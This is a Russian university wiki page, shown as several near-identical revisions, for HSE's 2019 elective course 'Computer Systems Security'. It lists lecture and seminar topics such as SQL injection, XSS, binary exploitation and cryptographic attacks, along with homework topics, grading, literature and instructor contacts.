# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) Семинара нет.
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-09-30T15:01:58Z

Gamajun: /* План курса */

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (18.11) Механизмы безопасности приложений в операционных системах.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) Семинара нет.
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-09-25T09:58:24Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (18.11) Механизмы безопасности приложений в операционных системах.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]
# (16.12)

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-09-25T09:49:24Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (18.11) Механизмы безопасности приложений в операционных системах.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]
# (16.12)

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-09-25T09:41:51Z

Gamajun: /* План курса */

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (18.11) Механизмы безопасности приложений в операционных системах.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]
# (16.12)

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-09-25T09:40:52Z

Gamajun: /* План курса */

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Механизмы безопасности приложений в операционных системах.
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]
# (16.12)

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-09-23T10:12:14Z

Gamajun: /* План курса */

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Механизмы безопасности приложений в операционных системах.
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (04.11) [[Бинарные программы. Обратная разработка программ.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (18.11)
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]
# (16.12)

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-09-23T10:11:09Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

